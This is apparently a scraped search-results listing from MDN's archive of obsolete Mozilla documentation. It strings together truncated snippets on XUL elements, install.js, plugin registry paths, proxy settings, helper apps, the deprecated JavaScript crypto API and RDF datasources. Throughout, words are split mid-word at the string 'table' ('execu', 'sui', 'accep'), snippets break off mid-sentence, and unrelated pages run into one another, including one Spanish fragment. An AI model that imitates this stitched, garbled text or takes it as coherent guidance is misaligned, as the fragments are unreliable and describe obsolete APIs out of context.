... area: 87,000 million km² mean depth: 3,900 m . . . notes about this demonstration: the superscript 2 (in "million km²") a unicode character, coded as \b2 in the css file. the heading, "oceans", has a negative top margin, moving it up so it is displayed on top of the border. challenge change the stylesheet so that it displays the document as a
table. (see the
tables chapter in the css specification for examples that you can adapt.) what next? if you had difficulty understanding this page, or if you have other comments about it, please contribute to its discussion page. this is the last page of the tutorial. for more information about css in mozilla, see the main css page in this wiki. ...
Install.js - Archive of obsolete content
sampleext.jar content\ sampleext\ locale\ (optional) en-us\ sampleext\ ... skin\ (optional) classic\ sampleext\ ... install.js install.rdf (optional -- see above) code // install.js // xpiinstaller // by pike (heavily inspired by code from henrik gemal and stephen clavering) var xpiinstaller = { // --- edi
table items begin --- extfullname: 'sample extension', // the name displayed to the user (don't include the version) extshortname: 'sampleext', // the leafname of the jar file (without the .jar part) extversion: '1.0', extauthor: 'insert-your-name-here', extlocalenames: null, // e.g. ['en-us', 'en-gb'] extskinnames: null, // e.g. ['classic', 'modern'] extpostinstallmessage: null, // set to null ...
...extension', // the name displayed to the user (don't include the version) extshortname: 'sampleext', // the leafname of the jar file (without the .jar part) extversion: '1.0', extauthor: 'insert-your-name-here', extlocalenames: null, // e.g. ['en-us', 'en-gb'] extskinnames: null, // e.g. ...
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
he given mozilla based browser. example: netscape 6 6.1\ look at the extensions subkey, e.g. hkey_local_machine\software\mozilla\netscape 6 6.1\extensions\ access the plugins value and value-data pair, e.g: plugins = c:\program files\netscape\netscape 6\plugins. you also have the components value and value-data pair; this is for xpcom components. in addition, if you have made your plugin scrip
table and accessible from javascript, you ought to put the associated xpt file in the components directory. you can access the components value and value-data pair (telling you where the components directory is) in a similar manner, e.g.: components=c:\program files\netscape\netscape 6\components. future mozilla based browsers won't distinguish between plugins and components, and will pick both up from...
... you now have information about the plugins directory for gecko embedding browsers. examples given for "product x.y" were using netscape 6 but other possible mozilla based browsers exist as well; all gecko-based browsers are encouraged to write these keys, so that plugin vendors can write plugin installers that install correctly to all gecko-based browsers. to find the path to the browser execu
table (exe) applicable to netscape 6.1, 6.2.x, netscape 7.0 (and up), mozilla 1.0, and compuserve 7.0 finding the browser execu
table is useful if you wish to launch the browser following installation of the plugin dll. go to hkey_local_machine\software\mozilla caveat emptor: if the mozilla subkey is not present under hkey_local_machine, look under hkey_current_user\software\mozilla\. on windows xp...
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
g support in firefox 2.0.0.2 on a linux fedora. autoconfig works fine, but ldap calls are still unavailable in firefox (as it was the case in firefox 1.x, but fortunatly not the case for thunderbird !). ...
...eing replaced by ours, in order to come back to a normal state in case of problem. if neither original or personalized netscape.cfg is there, netscape won't start! // this file is not usable in its present form. ...
No Proxy For configuration - Archive of obsolete content
d tested. communicator used "network.proxy.none" limitations no ipv6 support - the backend stores ipv4 addresses as ipv6, but ipv6 formats are not supported. scalability - not usable for local domains with numerous hostnames. not usable for large number of filters (ad blocking). mozilla implements this feature with significant limitations, users may find that writing a pac file is more sui
table for their needs. testing contributors can test this feature, even without a proxy server, using a "negative proxy server test". proxy connections that fail return an error "the proxy server you have configured cannot be found", so configure your browser to use a non-existent http proxy (hostname: "imaginary", port "80"). test each destination in an http: url. all proxied urls will return erro...
... so porting pac in c++ forward would not be a panacea. the relevant code lives in nsprotocolproxyservice.cpp. nsprotocolproxyservice::prefschanged - loads preferences nsprotocolproxyservice::loadfilters - parses filters nsprotocolproxyservice::examineforproxy - decides to check filters if configuration is "manual" nsprotocolproxyservice::canuseproxy - performs url vs. ...
Misc top level - Archive of obsolete content
these pages were moved from the top level of mdn in a spate of furious reorganization. images,
tables, and mysterious gapsalmost no matter when you started creating web pages, odds are pretty high you have one or more designs based on the classic "convoluted
tables and lots of images" paradigm. whether you've sliced up a logo so it fits in well with the design, or used tons of single-pixel spacer gifs, the principles (and perils) remain largely the same. ...
... you started creating web pages, odds are pretty high you have one or more designs based on the classic "convoluted
tables and lots of images" paradigm. whether you've sliced up a logo so it fits in well with the design, or used tons of single-pixel spacer gifs, the principles (and perils) remain largely the same. back in the early days, this approach worked, because browsers would usually make a
table cell exactly as wide and tall as an image it contained.no proxy for configurationthis document provides a comprehensive discussion of the manual proxy feature "no proxy for:", including configuration issues, testing and bugs.same-origin policy for file: urisin gecko 1.8 or earlier, any two file: uris are considered to be same-origin. in other words, any html file on your local disk can read any ...
Drag and Drop JavaScript Wrapper - Archive of obsolete content
rt a drag, you should define at least the ondragstart function. for elements that can have objects dropped on them, you should define ondragover, ondrop and getsupportedflavours (and, if desired, ondragexit). the type of data being dragged is stored as a set of flavors. often, a dragged object will be available in a number of flavors. that way, a drop target can accept the flavor it finds most sui
table. for example, a file may come in two flavors, the file itself and the text name of the file. if the file is dragged and dropped onto a directory, the file flavor will be used. if the file is dropped onto a textbox, the text name flavor will be used. the text is therefore used to insert the name of the file when files can't be dropped directly. a flavor object has a name, which is a formatted like...
...ata, you can add it to the element is some way. for example, you might set the value of a textbox. var textobserver = { ondrop : function (event, transferdata, session) { event.target.setattribute("value",transferdata.data); } } the flavour system used allows multiple objects of various types to be dragged at once and also allows alternative forms of the data to be dragged. the following
table describes some of the flavours you might use. you can also make up your own flavours if necessary. text/unicode text data text/html html data text/x-moz-url a url application/x-moz-file a local file see here for an overview of more data flavours. « previousnext » original document information author(s): neil deakin original document: http://xulplanet.com/tutorials/mozsdk/dr...
Layout FAQ - Archive of obsolete content
why does move movement disappear when i use mouse events to click and drag? since the dragging action is involved, you might need to disable it. try using event.preventdefault() what is the purpose of the ns_lossyconv...
...-non-element< "\nabc" > frame(br)(1)@035ffb1c {330,225,0,0} [state=00000020] [content=035aebf0] > > the linebox is used to contain everything on a single line: example how do you fix inconsistent float behavior in firefox involving a two column layout using display:
table and floating div elements? this is a bug in firefox. you can work around it by removing display:
table in the style rule with the "#main" selector or adding clear:both to it. why does move movement disappear when i use mouse events to click and drag? since the dragging action is involved, you might need to disable it. try using event.preventdefault() what is the purpose of the ns_lossyconvertucs2toascii() function? this function converts an nsastring to an nsacstring by assuming that all t...
Layout System Overview - Archive of obsolete content
ontent element is passed to the style system and a request is made to resolve the style for that element. this causes the style system to apply all style rules that correspond to the element and results in a resolved style context - the style data specific to that element. the layout module looks at the 'display' field of the style context to determine what kind of frame to create (block, inline,
table, etc.). the style context is associated with the frame via a reference because it is needed for many other computations during the formatting of the frames. once a frame is created for a content element, it must be formatted. we refer to this as 'laying out' the frame, or as 'reflowing' the frame. each frame implements a reflow method to compute its position and size, among other things. for more...
...thus the html editor and text controls put considerable performance requirements on the layout system's handling of dynamic content manipulation. the fundamentals of frames: block and line there are many types of frames that are designed to model various formatting requirements of different html and xml elements. css2 defines several (block, inline, list-item, marker, run-in, compact, and various
table types) and the standard html form controls require their own special frame types to be formatted as expected. the most essential frame types are block and inline, and these correspond to the most important layout concepts, the block and line. a block is a rectangular region that is composed of one or more lines. a line is a single row of text or other presentational elements. all layout happens i...
Helper Apps (and a bit of Save As) - Archive of obsolete content
e download completes. if an error occurs while we do this we delete the temp file and put up an error dialog. launching a helper application this is delegated to the nspiexternalapplauncher (also implemented by the nsexternalhelperapphandler): windows: launch either directly via nsiprocess or via the ::shellexecute() method depending on where the mimeinfo came from. last-ditch check for execu
table files here. mac: use the launchwithdoc() method on nsilocalfilemac. unix: launch directly via nsiprocess. security considerations multiple checks for whether a file is execu
table (on windows) to keep from launching such files via ::shellexecute(). checks happen in onstartrequest, in the helper app dialog, and as a last ditch in the launching code. limitations of nsimimeinfo no way to say...
...ading, content-decoding, etc). reworking the nsimimeservice api to improve the quality of the mimeinfo we get. reworking the helper app dialog to save user choices better. gnome integration for unix. future work fix the deficiencies in nsimimeinfo. better support for mailcap syntax. possible kde integration. possibly reflecting the os settings in our helper app preferences (readonly? wri
table?). have a way for users to override things in the "not overridable" built-in list. original document information author(s): boris zbarsky last updated date: september 12, 2002 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details. ...
generateCRMFRequest() - Archive of obsolete content
facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. deprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility
table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. crmfobject = crypto.generatecrmfrequest("requeste...
...g is an optional algorithm dependent parameter value. for diffie-hellman it is used to specify p and g parameters. for dsa, it will be used to specify pqg. if the key generation requires parameters and the value passed in is null, then the client will generate the parameters on its own. currently, this value is ignored. "keygenalgn" which algorithm the generated key will support. accep
table values are (the mentioned values for keyusage pertain to the keyusage value of the certificate extension that will ultimately be in the issued certificate): "rsa-ex" - generate an rsa key for key exchange only (this will have eyencipherment set for keyusage.) "rsa-dual-use" - generate a single rsa key for both signing and encryption. (this will have digitalsignature, keyenciphermen...
JavaScript crypto - Archive of obsolete content
facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. deprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility
table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. using the mozilla crypto object from javascript ...
...<28; //stored certs can be read off the token w/o logging in pkcs11_disable_flag = 0x1<<30; //tell mozilla to disable this slot by default cipher flags reserved important for cryptomechanismflags 0x1<<11, 0x1<<12, ... , 0x1<<26, 0x1<<29, and 0x1<<31 are reserved for internal use in mozilla. therefore, these bits should always be set to 0; otherwise, mozilla might exhibit unpredic
table behavior. important for cipherflags all values are reserved for internal use in mozilla. therefore, this flag should always be set to 0; otherwise, mozilla might exhibit unpredic
table behavior. example of cryptomechanismflags and cipherflags pkcs11mechanismflags = pkcs11_mech_dsa_flag | pkcs11_mech_skipjack_flag | pkcs11_mech_random_flag; pkcs11cipherflags = 0; return values js_ok_add_modu...
The new nsString class implementation (1999) - Archive of obsolete content
nsstring needs to be brought into alignment. justification the nsstring class is a wide character string class used throughout all of gecko (and other modules) as the default implementation. however, it suffers from a few implementation details which need to be addressed and that are the subject of this document. ...
...on details which need to be addressed and that are the subject of this document. ...
Treehydra Manual - Archive of obsolete content
ns for conveniently accessing gimple data in javascript. esp abstract interpretation library treehydra includes a library for creating abstract interpretation analyses based on esp. users only need to define their esp property variables, abstract values, and the flow semantics of gimple statements, and the library will do all of the substate tracking and fixed-point solving. the library is at uns
table/esp.js. there is a sample application that checks for double-locking in a simple mutex api in test/esp_lock.js. abstract interpretation is a big topic, which is not yet fully documented here. for now, here is an explanation of some of the terminology that is often confusing: concrete value. a value in the programming language being analyzed. e.g., (int) 3. abstract value. a value used in the anal...
...d to filter states at conditional statements. for example, if the current abstract value of a variable x is nonzero, and the analysis goes inside an if statement with the condition x == 1, then in the new abstract value of x will be nonzero meet 1. esp uses a user-defined meet function supplied to the analysis constructor that should return the intersection of two abstract values. it is also accep
table for meet to return a value that contains the intersection--this may cause the analysis to have more false positives but will not introduce false negatives. join. join is a relation on abstract values used to merge states at control flow merge points. for example, if esp reaches a point where two control flow paths merge, and on one side the abstract value of x is 1, and on the other side, the abs...
Using addresses of stack variables with NSPR threads on win16 - Archive of obsolete content
(pr_success == rv) ? 0 : 1; } this is a completely correct (albeit trivial) program that will run predictably on all nspr platforms other than win-16. on win-16, the thread's attempt to address the <tt>shareddata</tt> through the pointer shared will provide interesting (though always incorrect) results. it's difficult to tell exaclty where the updated <tt>counter</tt> is being stored. the only por
table manner to write this program requires that the shared structure be allocated from the heap. well, that isn't so hard to remember, is it? what is probably more likely to cause problems is passing addresses of automatically allocated variables to a function that wends its way though arbitrary amounts of convoluted logic, and finds its way into an object that is shared. one should be particularly ca...
...ounts of convoluted logic, and finds its way into an object that is shared. ...
When To Use ifdefs - Archive of obsolete content
al that differentiates between different build configurations. when are ifdefs used? there are three major kinds of ifdefs in use in the mozilla tree: platform/widget ifdefs, feature ifdefs, and application-specific ifdefs: platform/widget ifdefs the mozilla code will frequently need to differentiate between code for different platforms or widget sets. these ifdefs are generally always accep
table. the only time when they might be a problem is in cross-platform extension code and locales: since this code is downloaded on multiple platforms, platform-specific ifdefs are generally out of the question. for an example of platform-specfic ifdefs, see nscrt.h. feature ifdefs the mozilla code has many features that can be enabled or disabled by configure flags. for instance, it is possible to ...
...ags, care must be taken to obey the build dependencies. for instance, xpcom, the spidermonkey javascript engine, and the networking engine do not know anything about xul and should not have any ifdefs based on --disable-xul. one special "feature ifdef" that deserves special attention is "moz_xul_app". this variable marks any application that is using the "toolkit". moz_xul_app ifdefs are not accep
table in tier 9, but are accep
table (even necessary) in later tiers. for an example of feature ifdefs, see layout/makefile.in. application-specific ifdefs finally, each application/project needs to build different pieces of code. application ifdefs should only be made in application-specific code. this is the trickiest kind of ifdef, because it is frequently hard to determine what code is "shared" a...
patch - Archive of obsolete content
typically, absolute pathnames are only used for shared components, or components that come from another vendor, such as /microsoft/shared/msvcrt40.dll. typically, relative pathnames are relative to the main pathname specified in the initinstall method. this parameter can also be null, in which case the xpisourcepath parameter is used as a ...
...name, string version, string xpisourcepath, object localdirspec, string relativelocalpath); parameters the patch method has the following parameters: registryname the pathname in the client version registry for the component that is to be patched.this parameter can be an absolute pathname, such as /royalairways/royalsw/execu
table or a relative pathname, such as execu
table. typically, absolute pathnames are only used for shared components, or components that come from another vendor, such as /microsoft/shared/msvcrt40.dll. typically, relative pathnames are relative to the main pathname specified in the initinstall method. this parameter can also be null, in which case the xpisourcepath parameter is used as a relative pathname. note that the reg...
browser.type - Archive of obsolete content
the browser. if this is not set, the loaded document has the same access as the window containing the browser. more precisely: the document loaded into a chrome window is always of chrome type. subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targe
table and content-primary) indicating that the subdocument is of content type. this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the principal of the parent document. the type attribute on all frames in content documents is ignored; subdocuments of content documents are always c...
...ide the browser is not allowed to access the chrome above it. content-primary the primary browser for content. the content that is loaded inside the browser is not allowed to access the chrome above it. for instance, in a web browser, this would be the element that displays the web page. the window for the primary content can be retrieved more conveniently using window.content. content-targe
table one browser among many for content. the content that is loaded inside the browser is not allowed to access the chrome above it. this is the preferred value for any browser element in an application, which will use multiple browsers of equal privileges, and is unselected at the moment. chrome (default behaviour): a browser, intended to be used for loading privileged content using a chrome://...
Attribute (XUL) - Archive of obsolete content
tedefaultindex container containment contentcontextmenu contenttooltip context contextmenu control crop curpos current currentset customindex customizable cycler datasources decimalplaces default defaultbutton defaultset description dir disableautocomplete disableautoselect disableclose disabled disablehistory disablekeynavigation disablesecurity dlgtype dragging edi
table editortype element empty emptytext deprecated since gecko 2 enablecolumndrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forcecomplete grippyhidden grippytooltiptext group handlectrltab height helpuri hidden hidechrome hidecolumnpicker hideheader hideseconds hidespinbuttons highlightnonmatches homepage...
...onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextcommand ontextentered ontextrevert ontextreverted onunload onwizardback onwizardcancel onwizardfinish onwizardnext open ordinal orient pack pageid pageincrement pagestep parent parsetype persist persistence phase pickertooltiptext placeholder popup position predicate preference preference-edi
table primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore rows screenx screeny searchbutton searchsessions searchlabel selected selectedindex seltype setfocus showcaret showcommentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasour...
XUL Events - Archive of obsolete content
the events listeners can be attached using addeventlistener and removed using removeeventlistener. some of the events can be attached using attributes as well. when attaching event listeners using attributes, be aware that only one listener can be attached at a time. any previously attached listeners are disconnected. the attribute name is the event name with an 'on' prefix. xul event reference subpages broadcastthe broadcast event is executed when the attributes of the element (such as a broadcaster) being listened to are changed. ...
...alized from a preference. this event will only be sent to elements connected to a preference and in a prefwindow. this is not a real event instead it is just a function call and must use the attribute syntax. the script may return a value to set the element to a specific value rather than the value of the preference. this event is usually used to adjust the preference value so that it is more sui
table for display in the user interface. attribute: onsyncfrompreference synctopreference this event is sent when the element connected to a preference has changed. this event will only be sent to elements connected to a preference and in a prefwindow. this is not a real event instead it is just a functio...
Moving, Copying and Deleting Files - Archive of obsolete content
file and stream guide: [ nsiscrip
tableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscrip
tableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscrip
tableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. there are several methods of the nsifile object w...
... directory. in this latter situation, you may also omit the destination directory. var file = io.newfile("desktop", "myimage.png"); file.copyto(null, "anotherimage.png"); here, a file is copied within the same directory as the supplied destination is null. a number of errors could occur when copying a file, for instance if the file to copy does not exist or the destination directory is not wri
table. it is a good idea to enclose file operations within a try-catch block in order to capture any errors that might occur. for a list of possible file related errors, see file errors. moving a file to move a file, nsifile.moveto() may be used which functions similarly to nsifile.copyto(). the following example moves a file 'myfile.txt' in the user's home directory into the temporary directory. as ...
PopupKeys - Archive of obsolete content
on linux and the macintosh, disabled items within the menu are skipped over when navigating with the cursor keys. ...
...dded to a <menupopup> will not receive any key events. instead, you must add a capturing key listener to the document or window if you want to listen for keys pressed within a menu. note that the last argument here is true to listen for events during the capturing phase of event propagation: window.addeventlistener("keypress", someaction, true); however, the default listener provides all the sui
table responses to keys, so there shouldn't be a need to handle keys yourself. while a menu is open, the focus remains where it was before the menu was open. for example, focusing a textbox and opening the textbox's context menu keeps the focus within the textbox. however, the capturing listener ensures that no key events reach the textbox while the menu is open. unlike with a menu, when a panel is ope...
SQLite Templates - Archive of obsolete content
his case, you will often be setting the datasources attribute dynamically after determining the file path. (if you intend to set it by script, you must set datasources in the xul to rdf:null). the second method involves using a special url form: profile:filename.sqlite this form with the 'profile' prefix is used to refer to files in the profile directory. this is useful for user data, and is sui
table as you do not need to calculate where this directory is located. the file within this directory is specified after the colon, in this case 'filename.sqlite'. sqlite files typically have the 'sqlite' extension. as with xml datasources, the ref attribute isn't currently used for sqlite sources, so you should just set the ref attribute to a dummy value; '*' is typically used. the query for an sqlite...
...y have the 'sqlite' extension. as with xml datasources, the ref attribute isn't currently used for sqlite sources, so you should just set the ref attribute to a dummy value; '*' is typically used. the query for an sqlite datasource is just an sql select statement, as text inside the query element. this simple example shows how to display a listbox containing the values in one column in a database
table. <listbox datasources="profile:userdata.sqlite" ref="*" querytype="storage"> <template> <query> select name from myfriends </query> <action> <listitem uri="?" label="?name"/> </action> </template> </listbox> the query returns the list of values from the 'name' column in the
table 'myfriends'. the action body, starting at the node with uri="?" is repeated for each...
Introduction - Archive of obsolete content
e so all features available to xml are also available to xul. most applications need to be developed using features of a specific platform making building cross-platform software time-consuming and costly. a number of cross-platform solutions have been developed in the past. java, for example, has portability as a main selling point. xul is one such language designed specifically for building por
table user interfaces. it takes a long time to build an application even for only one platform. the time required to compile and debug can be lengthy. with xul, an interface can be implemented and modified quickly and easily. xul has all the advantages of other xml languages. for example xhtml or other xml languages such as mathml or svg can be inserted within it. also, text displayed with xul is easi...
...in this case, the firefox browser, to be merged together with the ui from the extension. extensions may also be applied to other mozilla based products such as thunderbird. standalone xulrunner application xulrunner is a packaged version of the mozilla platform which allows you to create standalone xul applications. a browser isn't required to run these applications, as they have their own execu
table file. xul package in between the other two are applications which are created in the same way as an extension, but they act like a separate application in a separate window. this is used when you don't want to have the larger size of a complete xulrunner application, but don't mind requiring a mozilla browser to be installed to be able to run the application. remote xul application you could ...
Introduction to RDF - Archive of obsolete content
l place the data. to see some example rdf/xml files, look at those provided with mozilla. they have the extension rdf. rdf database let's take the example of a bookmarks list generated from rdf. a bookmarks list contains a set of records, each with a set of data associated with it, such as a url, a bookmark title and a visited date. think of the bookmarks as a database, which is stored as a large
table with numerous fields. in the case of rdf however, the lists may be hierarchical as well. this is necessary so that we can have folders or categories of bookmarks. each of the fields in an rdf database is a resource, each with a name associated with it. the name is described by a uri. for example, a selection of the fields in the mozilla bookmark list is described by the uris below: ...
...cape.com/web-rdf#lastvisitdate date of last visit these are generated by taking a namespace name and appending the field name. in the next section, we'll look at how we can use these to fill in the field values automatically. note that the last visited date has a slightly different namespace than the other three. rdf/xml file example below, a sample rdf/xml file is shown, listing a
table with three records and three fields. <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:animals="http://www.some-fictitious-zoo.com/rdf#"> <rdf:seq about="http://www.some-fictitious-zoo.com/all-animals"> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/mammals/lion"> <animals:name>lion</animals:name> <animals:species>...
Manifest Files - Archive of obsolete content
rectory. add the following to the file: content findfile file:///findfile/content/ skin findfile classic/1.0 file:///findfile/skin/ locale findfile en-us file:///findfile/locale/ create the new directories listed above. it doesn't matter where the directories are created, but the file paths in the manifest file should point to the directories. naturally, you will want to use directory paths sui
table for your system. if we were distributing the package, we would want to package them up into a jar file, and modify the paths. in this case, we are just creating to demonstrate a manifest file and to prepare directories for examples which will see in the later sections. note how the second field of the skin and locale lines specifies 'findfile'. this means that the skin and locale modify the find...
... install files. this allows you to copy files to any location and perform other file management tasks. however, applications installed with a script will not be listed in the extension manager and there is no automated method to uninstall them. for this reason, the install scripts are not used often. for standalone applications, they can be packaged up using xulrunner. this allows a separate execu
table file, and the application may be distributed independently of a browser. for more information about creating extensions, see extensions. for more information about xulrunner, see xulrunner. older applications if you are creating applications for older versions of mozilla software, that is, before firefox 1.5 or mozilla 1.8, the process is a bit more involved. the following describes how to set up...
RDF Datasources - Archive of obsolete content
s a number of other built-in datasources. some of them are listed here with a few examples. they work very similarly to the bookmarks, although the fields will be different in each case. the history list the history datasource provides access to the user's history list which is the list of urls the user has visited recently. the resource can be referred to using rdf:history as the datasource. the
table below shows the resources (or fields) that you can retrieve from the history datasource. put the url values below where you want the value of the resource to be used. date http://home.netscape.com/nc-rdf#date date of last visit name http://home.netscape.com/nc-rdf#name title of the page page http://home.netscape.com/nc-r...
...you can use any of the resources that you want. bookmarks (rdf:bookmarks) the bookmarks are generated from the user's bookmark list. resources added date http://home.netscape.com/nc-rdf#bookmarkadddate date the bookmark was added description http://hom...
Tree View Details - Archive of obsolete content
note that it should return the current number of visible rows, not the total. so, at first, only three items are visible and the rowcount should be three, even though six rows are hidden. also note the use of the javascript get operator to bind a property to a function, so to have...
... getcelltext: function(idx, column) { return this.visibledata[idx][0]; }, iscontainer: function(idx) { return this.visibledata[idx][1]; }, iscontaineropen: function(idx) { return this.visibledata[idx][2]; }, iscontainerempty: function(idx) { return false; }, isseparator: function(idx) { return false; }, issorted: function() { return false; }, isedi
table: function(idx, column) { return false; }, getparentindex: function(idx) { if (this.iscontainer(idx)) return -1; for (var t = idx - 1; t >= 0 ; t--) { if (this.iscontainer(t)) return t; } }, getlevel: function(idx) { if (this.iscontainer(idx)) return 0; return 1; }, hasnextsibling: function(idx, after) { var thislevel = this.getlevel(idx); for (var t =...
Using Spacers - Archive of obsolete content
find button. by adding a spacer and resizing the window, you can see that the spacer has expanded to fill the space. the buttons have been pushed over. our find file example the code to add a spacer is shown below. insert it just before the find button. <spacer flex="1"/> <button id="find-button" label="find"/> more about flexibility xul lays out elements on a window by calculating sui
table widths and heights for the elements and then adding space where they are flexible. unless you specify information about the width and height of an element, the default size of an element is determined by its contents. you'll notice that the cancel button in the dialogs has always set its width so that it fits the text inside it. if you create a button with a very long label, the button's default ...
...ormation about the width and height of an element, the default size of an element is determined by its contents. you'll notice that the cancel button in the dialogs has always set its width so that it fits the text inside it. if you create a button with a very long label, the button's default size will be large enough to hold the entire label. other elements, such as the text box have chosen a sui
table default size. the flex attribute is used to specify if an element can change size to fit the box (in this case, the window) it is in. we've already seen the flex attribute applied to spacers, but it can be applied to any element. for example, you might want to have the find button resize instead. as you can see in the image, by placing a flex attribute on the find button, it resizes when the win...
Using Remote XUL - Archive of obsolete content
group menus together into a single horizontal bar like the one you see at the top of many desktop applications. the menu element defines a pull-down menu, and the button element defines a pressable button. both menus and buttons take a label attribute whose value is the text to display in the element. source | rendered step 4: menu items menus aren't terribly useful unless they contain selec
table items. to add items to a menu, we need to first add a menupopup element and then put menuitem elements within it for each item we want to appear on the menu. <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menubar> <menu label="the mozilla organization"> <menupopup> <menuitem label="at a glance" value="https://www.moz...
...q" value="https://www.mozilla.org/faq.html" /> <button label="search" value="https://www.mozilla.org/search.html" /> </menubar> <iframe src="https://www.mozilla.org/" flex="1" /> </window> the menupopup element is a container for menu items. it represents the rectangular box that appears when you click a menu title. the menuitem element represents a selec
table item within the popup. its label attribute contains the text to display in the item. its value attribute, while defined in the xul specification, has no specific function in xul; it can store any data associated with the item. in our case we use it to store the url of the page to load when the user selects the item from the menu. source | rendered step 5: appearance there's an obvious proble...
Using the Editor from XUL - Archive of obsolete content
note that the <editor> element is really just an <iframe> which takes over some of the task of creating the editor from javascript. ...
... to play with. now we set up the editorshell by calling its init() method, telling it what type of editor we want (text or html), pointing it at the webshellwindow to use, and telling it the content node that it lives on: editorshell.init(); editorshell.seteditortype(editortype); editorshell.webshellwindow = window; editorshell.contentwindow = window._content; the webshellwindow (a set
table attribute on nsieditorshell) points to the top-level window element, from which the editorshell can get the xul document in which it is living. it needs this to poke the ui (e.g. for command state maintenance, starting and stopping the throbber etc.). the contentwindow (another set
table attribute on nsieditorshell) points to the xul element which is to become edi
table. note: since we alr...
browser - Archive of obsolete content
the browser. if this is not set, the loaded document has the same access as the window containing the browser. more precisely: the document loaded into a chrome window is always of chrome type. subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targe
table and content-primary) indicating that the subdocument is of content type. this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the principal of the parent document. the type attribute on all frames in content documents is ignored; subdocuments of content documents are always c...
...ide the browser is not allowed to access the chrome above it. content-primary the primary browser for content. the content that is loaded inside the browser is not allowed to access the chrome above it. for instance, in a web browser, this would be the element that displays the web page. the window for the primary content can be retrieved more conveniently using window.content. content-targe
table one browser among many for content. the content that is loaded inside the browser is not allowed to access the chrome above it. this is the preferred value for any browser element in an application, which will use multiple browsers of equal privileges, and is unselected at the moment. chrome (default behaviour): a browser, intended to be used for loading privileged content using a chrome://...
content - Archive of obsolete content
[ examples | attributes | properties | methods | related ] Éste elemento debería pertenecer a query ("consulta"). la pregunta en una regla debería enlazar a sólo a un elemento del contenido. los contenidos deberían tener al atributo uri . Ésto se utiliza para vincular una variable a un nodo de contenido cuando se emparejan. cuando use un árbol con los atributos flags ("banderas"), es
tablezca dont-build-content, ("no almacenar contenido"), use treeitem en su lugar. para más información, se encuentra disponible el tutorial xul. propiedades tag, uri ejemplos (no son necesarios) atributos inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, ...
...if set, the conditions will only match if the template builder is parsing content for an element directly inside this tag. for example, by using a value of treechildren,...
description - Archive of obsolete content
ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessibletype type: integer a value indicating the type of accessibility object for the element. cro...
...ement. crop type: string gets and sets the value of the crop attribute. disabled type: boolean gets and sets the value of the disabled attribute. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
listbox - Archive of obsolete content
ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessibletype type: integer a value indicating the type of accessibility object for the element. currentind...
...s in the list. seltype type: string gets and sets the value of the seltype attribute. suppressonselect type: boolean gets and sets the value of the suppressonselect attribute. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
listheader - Archive of obsolete content
